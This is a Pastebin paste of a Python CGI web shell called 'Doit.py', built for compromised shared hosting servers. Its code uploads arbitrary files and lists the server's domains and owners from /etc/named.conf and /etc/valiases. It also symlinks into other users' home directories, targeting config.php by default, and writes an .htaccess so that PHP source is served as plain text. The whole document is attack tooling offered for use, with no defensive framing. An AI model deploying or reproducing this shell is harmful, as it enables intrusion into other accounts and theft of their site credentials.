Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- #----------------------------------------------------->
- # Name : Doit.py
- # Programmer : T7~ < KSA > <-+-> < love.you@h8tmail.com > <-+-> < T7TP@hotmail.com >
- # Version : 1.0
- # MyBlog : **
- # Date : **
- #----------------------------------------------------->
- from cgi import FieldStorage
- from re import findall
- from subprocess import STDOUT,PIPE,Popen
- import os
- from sys import exit
- import cgitb
- from pwd import getpwuid
- cgitb.enable()
- if os.environ.has_key('HTTP_ORIGIN'):
- h = os.environ['HTTP_ORIGIN']
- print'Content-type: text/html\n' #header
- def html():
- print """<html><head>
- <title>coded by T7~</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
- <style type='text/css'>
- body{
- font-family:Tahoma,Verdana,Arial;
- background:url(http://animalbytz.co.uk/image/d.png);
- background-color:#1e1e1e;
- }
- .meu{
- }
- .meu ul{
- list-style:none;
- padding:0;
- margin-left:400px;
- margin-top:20px;
- }
- .meu ul li{
- float:left;
- margin-left:4px;
- }
- .meu ul li input{
- -webkit-transition: 0.50s;
- -moz-transition: 0.50s;
- border:none;
- background-color:rgba(29,99,131,1.0);
- padding:5px 30px;
- -webkit-border-radius:20px;
- -moz-border-radius:20px;
- color:#f2f2f2;
- -webkit-box-shadow:0px 10px 10px rgba(20,20,20,1);
- -moz-box-shadow:0px 10px 10px rgba(20,20,20,1);
- }
- .meu ul li input:hover{
- margin-top:6px;
- -webkit-transition: 0.30s;
- -moz-transition: 0.30s;
- cursor:hand;
- background-color:#09425c;
- }
- </style>
- </head>
- <body bgcolor='#000' text='white'>
- <form action='?' method=POST>
- <div class='meu'>
- <ul><b>
- <li><input type='submit' name='t7' class='mu'value='Upload' / > </li>
- <li><input type='submit' name='t7' class= 'mu' value='Domains & Users & Symlink' / > </li>
- <li><input type='submit' name='t7' class= 'mu' value='Symlink' / > </li>
- </b>
- </ul>
- </div>
- <br /><br />
- </form>
- <Br />
- """
- def hu():
- print"""
- <style type='text/css'>
- .dvu{
- margin-left:410px;
- background-color:rgba(20,20,20,0.49);
- width:450px;
- -webkit-border-radius:20px;
- -moz-border-radius:20px;
- -webkit-box-shadow:0px 14px 5px rgba(20,20,20,0.19);
- padding:0;
- -moz-box-shadow:0px 14px 5px rgba(20,20,20,0.19);
- }
- .dvu form{
- }
- .dir{
- padding:5px ;
- outline:none;
- background:none;
- border:none;
- border-bottom:1px dashed rgba(255,255,255,0.09);
- margin:40px 200px 40px 40px;
- font-size:15px;
- color:#707070;
- }
- .up{
- -webkit-border-radius:20px;
- background:none;
- margin-bottom:50px;
- border:none;
- border-bottom:1px dashed (255,255,255,1);
- padding-left:20px;
- }
- span{
- margin:20px 0px 100px 20px;
- }
- .s{
- -webkit-transition: 0.30s;
- -moz-transition: 0.30s;
- border:none;
- background-color:rgba(29,99,131,1.0);
- padding:4px 25px;
- -webkit-border-radius:20px;
- -moz-border-radius:20px;
- color:#f2f2f2;
- }
- .s:hover{
- cursor:hand;
- background-color:#09425c;
- }
- </style>
- <body>
- <br />
- <br />
- <div class='dvu'>
- <form enctype="multipart/form-data" method='post'>
- """+"<input type='text' class='dir' name='to' size='40px' value='%s'><br />"%os.getcwd()+"""
- <span><input type='file' class='up' name='upload'>   <input type='submit' value='Upload' name='_up' class='s' /></span>
- </form>
- </div>
- </body>
- """
- def hs():
- print """
- <title>Symlink</title>
- <style type='text/css'>
- .d{
- margin-top:54px;
- margin-left:410px;
- background-color:rgba(20,20,20,0.49);
- width:450px;
- -webkit-border-radius:20px;
- -webkit-box-shadow:0px 14px 5px rgba(20,20,20,0.19);
- -moz-border-radius:20px;
- -moz-box-shadow:0px 14px 5px rgba(20,20,20,0.19);
- padding:0;
- }
- .d form{
- padding:30px 0px 30px 30px;
- }
- .d form input[type='submit']{
- -webkit-transition: 0.30s;
- border:none;
- background-color:rgba(29,99,131,1.0);
- padding:4px 25px;
- -webkit-border-radius:20px;
- -moz-border-radius:20px;
- color:#f2f2f2;
- margin:25px 0px 0px 270px;
- }
- .d form input[type='submit']:hover{
- cursor:hand;
- background-color:#09425c;
- }
- .f{
- outline:none;
- border:none;
- background-color:rgba(41,41,41,0.3);
- padding-top:8px;
- margin-top:10px;
- -webkit-border-radius:4px;
- -moz-border-radius:4px;
- text-indent:4px;
- color:#707070;
- font-size:14px;
- }
- </style>
- <body>
- <div class='d'>
- <form action='?' method='post'>
- <input type='text' value='/home/user/public_html/config.php' name='get' class='f' size='45px'/><br />
- """+"<input type='text' value='%s/file.txt' name='here' class='f' size='45px;'/>"%os.getcwd()+"""
- <input type='submit' value='Symlink' name='sym'/>
- </form>
- """
- def user():
- print """
- <title>Symlink</title>
- <style type='text/css'>
- .d{
- margin-top:54px;
- margin-left:410px;
- background-color:rgba(20,20,20,0.49);
- width:450px;
- -webkit-border-radius:20px;
- -webkit-box-shadow:0px 14px 5px rgba(20,20,20,0.19);
- -moz-border-radius:20px;
- -moz-box-shadow:0px 14px 5px rgba(20,20,20,0.19);
- padding:0;
- }
- .d form{
- padding:30px 0px 30px 40px;
- }
- .f{
- outline:none;
- border:none;
- background-color:rgba(41,41,41,0.3);
- padding-top:8px;
- margin-top:4px;
- margin-left:120px ;
- -webkit-border-radius:4px;
- -moz-border-radius:4px;
- text-indent:4px;
- color:#707070;
- }
- .h{
- -webkit-transition: 0.30s;
- -moz-transition: 0.30s;
- border:none;
- background-color:#0b2633;
- padding:4px 0px;
- width:370px;
- -webkit-border-radius:20px;
- -moz-border-radius:20px;
- color:#f2f2f2;
- }
- .h:hover{
- cursor:hand;
- background-color:#09425c;
- }
- p{
- margin-left:170px;
- }
- .hr{
- margin-left:190px;
- padding-bottom:1000px
- padding:4px 0px;
- width:570px;
- color:#f2f2f2;
- text-decoration:none;
- }
- </style>
- <body>
- <div class='d'>
- <form action='?' method='post' >
- <input type='submit' name='gethome' class='h' size='45px' value='%s' />"""%form.getvalue('usersym')+"""<br /><br />
- </form>
- </body>
- """
- name=(form.getvalue('gethome'))
- cmd = Popen('whoami',shell=True,stdin = PIPE,stdout = PIPE ,stderr=STDOUT, close_fds=True)
- whoami = cmd.stdout.read().strip()
- user= '/home/%s/public_html/'%form.getvalue('gethome')
- myhome = '/home/%s/public_html/sss/'%whoami
- ht = '/home/%s/public_html/sss/.htaccess'%whoami
- try:
- fs =form.getvalue('gethome')
- except:
- pass
- if form.has_key('gethome'):
- if os.path.exists(myhome):
- if os.path.exists(myhome+fs+'-home.txt'):
- print '<script>alert("The File exists in /sss/ directory")</script> '
- else:
- os.symlink(user,myhome+fs+'-home.txt')
- print "<a href='/sss/%s' target='_blank' class='hr'>Click Here</a>"%(fs+'-home.txt')
- else:
- os.mkdir(myhome,0777)
- try:
- htx = open(ht,'w')
- htx.write('Options Indexes FollowSymLinks\nDirectoryIndex ssssss.htm\nAddType txt .php\nAddHandler txt .php\nAddType txt .html\nAddHandler txt .html\nOptions all\nOptions\nAllow from all\nRequire None\nSatisfy Any')
- except:
- pass
- if os.path.exists(myhome+fs+'-home.txt'):
- print "<script>alert('The File exists in /sss/ directory')</scrit> "
- else:
- os.symlink(user,myhome+fs+'-home.txt')
- print "<a href='/sss/%s' target='_blank' class='hr'>Click Here</a>"%(fs+'-home.txt')
- def do():
- print """
- <title>D & U & S</title>
- <style>
- table{
- background-color:rgba(20,20,20,0.49);
- padding:30px;
- -webkit-border-radius:20px;
- -webkit-box-shadow:0px 0px 14px rgba(20,20,20,6);
- -moz-border-radius:20px;
- -moz-box-shadow:0px 0px 14px rgba(20,20,20,6);
- }
- table tr td{
- border-bottom:1px dashed rgba(255,255,255,0.05);
- -webkit-border-radius:2px;
- -moz-border-radius:2px;
- text-align:center;
- color:707070;
- padding:5px 10px;
- }
- a{
- text-decoration:none;
- color:#808080;
- }
- table tr:hover{
- background-color:rgba(46,46,46,0.2);
- -webkit-border-radius:2px;
- -moz-border-radius:2px;
- }
- a:hover{
- color:red;
- }
- .sm{
- -webkit-transition: 0.30s;
- -moz-transition: 0.30s;
- border:none;
- background-color:rgba(29,99,131,1.0);
- padding:4px 0px;
- width:120px;
- -webkit-border-radius:20px;
- -moz-border-radius:20px;
- color:#f2f2f2;
- margin-left:20px;
- }
- .sm:hover{
- cursor:hand;
- background-color:#09425c;
- }
- </style>
- <body>
- <form action='?' method='post'><br />
- <center><table>
- """
- try:
- r = open('/etc/named.conf','r')
- except:
- print "can't read /etc/named.conf"
- exit()
- do = findall('zone "(.*?)" ',r.read())
- for i in range(len(do)):
- if do[i]=='.':
- pass
- else:
- try:
- s =os.stat('/etc/valiases/%s'%do[i])
- name = getpwuid(s.st_uid).pw_name
- except OSError:
- name = 'No directory'
- if name =='No directory':
- print "<tr><td class='t'><a href='http://www.%s' target='_blank'>%s</a></td><td>%s</td><td></td></tr>"%(do[i],do[i],name)
- else:
- print "<tr><td class='t'><a href='http://www.%s' target='_blank'>%s</a></td><td><input type='submit' name='usersym' class='sm' value='%s'></td></tr>"%(do[i],do[i],name)
- print "</table></center></form>"
- def upload():
- try:
- fi = form['upload']
- if fi.filename:
- fn = os.path.basename(fi.filename)
- if form.has_key('to'):
- try:
- to = form.getvalue('to')
- if to[-1] == '/':
- open(to+fn, 'wb').write(fi.file.read())
- msg = 'The file [' + fn + '] was uploaded successfully '
- else:
- open(to+'/'+fn, 'wb').write(fi.file.read())
- msg = '<script>alert("The file [' + fn + '] was uploaded successfully")</script> '
- except:
- print "[<font color='red'>~</font>] Permission denied ..."
- else:
- print "Upload T0 (: Erath (:"
- else:
- msg = '<script>alert("No file was uploaded")</script>'
- print " <p>%s</p>" % (msg)
- except:
- pass
- if __name__ == '__main__':
- form = FieldStorage()
- if form.getvalue('t7') =='Upload' or form.has_key('_up'):
- html()
- hu()
- upload()
- elif form.getvalue('t7') =='Symlink' or form.has_key('sym'):
- html()
- hs()
- elif form.getvalue('t7') =='Domains & Users & Symlink':
- html()
- do()
- elif form.has_key('usersym') or form.has_key('gethome') :
- html()
- user()
- else:
- html()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement